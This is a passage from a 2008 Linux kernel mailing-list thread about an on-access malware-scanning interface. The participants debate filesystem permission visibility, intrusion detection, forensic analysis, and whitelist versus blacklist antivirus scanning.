>>>> permissions is a sign of 1 of three things. ...
>>>
>>> It's more likely that the files will reside on Linux/Unix under
>>> Samba, and so the permissions that Samba implements will be the ones
>>> that the virus is trying to mess up. These are implemented in
>>> terms of the usual permission bits, plus extended attributes/ACLs.
>>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>>
>> More desktop use of Linux more cases of ntfs and fat mounted under
>> Linux. Funny enough linux mounting windows file systems is 100
>> percent normal for most Ubuntu users so there are a lot of them out
>> there doing it. I am future looking there are other filesystems
>> coming with there own issues as well.
>
> but what you are missing is that when they are mounted under linux it
> doesn't matter what hidden things the other OS may access, all that matters
> is what Linux sees. If Linux doesn't see something it can't serve it out to
> those other OSs.
>
> those 'hidden things' would only matter if you were trying to use linux to
> scan a drive and bless it for another system to then mount locally. If we
> aren't trying to defend against that (and I don't hear anyone other then you
> saying we should) then we don't need to worry about such things.
>
> If we were trying to make the drive safe for all other OSs to mount
> directly, then mearly seeing everything isn't enough, you would have to be
> able to fully duplicate how the other OS interprets the things you are
> seeing, and know all vunerabilities that arise from all possible
> interpretations. I don't think that's possible (and I don't think it would
> be possible even if the source for all those other OSs were available)
>
Matters directly for 2 cases to the Linux system itself.

First case HIDS spotting alteration to something like if someone
places signature files on a NTFS partition for some reason when it was
placed there it was X permission now its Y better inform the user that
this has happened. Without being able to see the disk permissions
this could be missed due to no translation of permissions to vfs. We
have Ubuntu users in this mix they will put it on NTFS if they are low
of disk space.

Second case is file system mount options changing the files that are
displayed in vfs so a full partition scan by a scanner running in
Linux is a full disk scan not some files missed here or there due to
hidden permissions and processing in the file system driver.

Next bits I think is not understanding how some defence tech works and
lack of experience in forensics.

Full hids monitoring does not depend on known how the OS will
interpret it picking up that month after month something has never
been changed and then all of a sudden something is changed to alert
you to look deeper. Its more of a warning bell so that works without
ever understanding 100 percent how the permissions work. When
compared to other machines setup in the same kind of way more fine
defects can turn up. Same software Same applications same profiles
sent from server should be a 99 percent match other than SID number
being different. Most of that variation from each other should turn
up in the first week of usage. HIDS is basically anything stepping
out side normal go off.

Doing forensic recoveries on things I have learnt yes you can
duplicate how a OS will interpret its disk permissions. Complexity
is directly linked to how tidy the OS's permission system is.
Windows is surprisingly not that bad. Linux and BSD are level 10
pricks due to the fact config file over here may completely provide
access where disk permissions say no then you have the LSM permissions
to over lay. So its a pain in tail to duplicate how some OS's would
interpret it but 100 percent do able if you know the software on top
even how that reacts is predictable without running it. Forensic
working out a attack you do it. Since running the OS only makes the
threat active worse let the threat cover its trail. Lot of white
listing is performed in the process to confirm that programs have not
been messed with. So there configuration files processing can be
trusted. Its simply another myth that it cannot be done. Off-line
scanning can be done if the scanner is setup for it yes more complex
process having to read stuff like the windows registry that is poorly
documented. For fully documented OS's 100 its nothing more than
processing time. Complete work out of course need the applications on
top that is of course documentation of operation again. So no
magical non understandable stuff here.

Peter Dolding.

2008-08-18 10:54:25

by Douglas Leeder

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[email protected] wrote on 2008-08-18 01:11:24:

> In answer to the small enough set of files idea. The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer. Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin. It is already
> longer by a large margin to white list scanning. CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner. Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window. The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it. White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.

The problem with white-lists is who gets to decide what's on them:

a) The end-user: Easy to get around - a social engineering attack.
The problem is if you make all the good applications the
user downloads appear identical to any random malware they
download, the end-users will treat them the same.

b) The network administrator: Often doesn't exist (e.g. home users), but
even when they do exist, they are often too over-worked to
handle a white-listing solution. For example Windows provides
white-listing in policies (AFAIK), but still there is a market
for AV software.
The admin probably ends up authorizing anything the end-users
want.
(Thus leading to the same problems as a)...)

c) The White-listing software company: Now has to maintain a perfect
database
of known-good software, without letting in any malware.
Also problems with edge-cases such as adware.
Also needs some way of handling private software, and
self-compiled software.
(which probably leads to a) or b)...)

d) Third-party: All the problems of c) with more trust issues, plus
iphone-ish lock-in problems.

The other problem that I can see is that white-list scanners have to be
much more exact on the matching (either checksums or signatures), as the
malware authors will be trying to look-like authorized software.

black-list scanners can afford heuristic detection, because good-software
authors
aren't trying to look like malware.

--
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

2008-08-18 13:40:24

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, Aug 18, 2008 at 8:54 PM, <[email protected]> wrote:
> [email protected] wrote on 2008-08-18 01:11:24:
>
>> In answer to the small enough set of files idea. The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer. Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin. It is already
>> longer by a large margin to white list scanning. CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner. Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window. The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it. White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>
> The problem with white-lists is who gets to decide what's on them:
>
> a) The end-user: Easy to get around - a social engineering attack.
> The problem is if you make all the good applications the
> user downloads appear identical to any random malware they
> download, the end-users will treat them the same.
>
> b) The network administrator: Often doesn't exist (e.g. home users), but
> even when they do exist, they are often too over-worked to
> handle a white-listing solution. For example Windows provides
> white-listing in policies (AFAIK), but still there is a market
> for AV software.
> The admin probably ends up authorizing anything the end-users
> want.
> (Thus leading to the same problems as a)...)
>
> c) The White-listing software company: Now has to maintain a perfect
> database
> of known-good software, without letting in any malware.
> Also problems with edge-cases such as adware.
> Also needs some way of handling private software, and
> self-compiled software.
> (which probably leads to a) or b)...)
>
> d) Third-party: All the problems of c) with more trust issues, plus
> iphone-ish lock-in problems.
>
> The other problem that I can see is that white-list scanners have to be
> much more exact on the matching (either checksums or signatures), as the
> malware authors will be trying to look-like authorized software.
>
> black-list scanners can afford heuristic detection, because good-software
> authors
> aren't trying to look like malware.

I can cover all of these.

Type A) White Lists for stand alone end users would normally operate
with a matching black list system. White list system would be
detecting known damaged file formats and possable threats in the
process letting files that cannot contain viruses/malware pass.
Really its a waste of time scanning a damaged file users need to be
informed of it as well a equally waste of time black list scanning a
file for viruses/malware that cannot carry threats. Also new unknown
executable files being placed before user to approve to go on for
black list scanning or remove from system really does cut down threat
to system. User is engaged in there own protection. User normally
knows if they are attempting to run a new program or not, Asking them
is the white list way. Don't just presume they are meaning to run a
new exe they have never run before scan it for what threat you know
then let it run. Reason black lists are flawed we know they are
flawed. So we use the user to give a extra level of filtering.

Type B and C) For companies have you seen the paper work for getting
software into lots of businesses with system admins. The ammount of
tracking that has to be done on software installed. Keeping a white
list system that is also doing installation head counts is not that
much of a overhead. Internally created software normally has to go
threw approval processes before actively deployed every where.
Keeping a white list just fits into general operations of quite a few
businesses with system admins. Just a lot don't notice it in the
paper work they are doing. Like complete lists of installed
software. This is more good design of the white list system as well
as scanning the system it is doing the needed network audits both are
overlapping processes.

D) we currently have that issue with anti-virus software black list.
I had my test network software deleted, my documentation how to by
pass a old alpha servers password deleted. All by black list
anti-virus being over picky. We already have anti-virus lock in with
black list white list really does not change it.

Checksums and Signatures are not the only ways of white listing.
Sections of white lists is heuristic as well. These are format
matches. If you have a word document that does not contain macros is
defect free for all its images and parts. You really don't need a
checksum or a Signature for it. You really just need a way of
acquiring that the file is clean of all possible threats in the white
list system.

Even against black lists malware trys to show up as good software or
worse stuff black lists false positive on so black list scanner
disregards it. heck some malware sites have gone as far as saying
disable anti-virus before installing in process detect black list
scanner and root kit it. Even some above board software tells you to
disable you black list scanner so it does not false positive.
heuristic's in black list scanners is unstable.

White list systems also block from running like part executables from
the executable format itself. Likes a broken downloads. These can
be just as harmful as to user data as any virus. Yet most current
day black list systems let them slide. Damaged files are a threat to
stable operation of a machine sometimes worse than been malware
infected. Part install from a damaged installer of a perfectly safe
program can bring the computer down just as effectively as any trojan
slipping past black list scanners.

Heuristic's in White List scanners is stable. Yes we know they can
throw out too much. The important thing they throw out stuff black
list scanners let slide.

White list methods have to come to at least pull out damaged files
before they can do system harm. Remember fuzzing random data files
shoved into a file until it finds a defect in its file format. White
list works on detecting files with defects and binning them taking
viruses and other threats using those methods out of the threat
matrix. This is theat reduction. With white list format processing
less and less threat paths are left usable to attackers. Closing the
exe threat path for home users is extremely hard. Closing the exe
threat path for business fairly straight forward. Total population of
infect able machines reduced by quite a number.

Major reason why AV companies will not want to do this. Is simple if
file formats by a business have not changed and no flaws found in the
white list scanner most likely business will have no reason to update
more often than the software they use since white list scanner will
maintain its effectiveness against threats. Attackers generating
more and more viruses don't expand the white list zone to protect.

Peter Dolding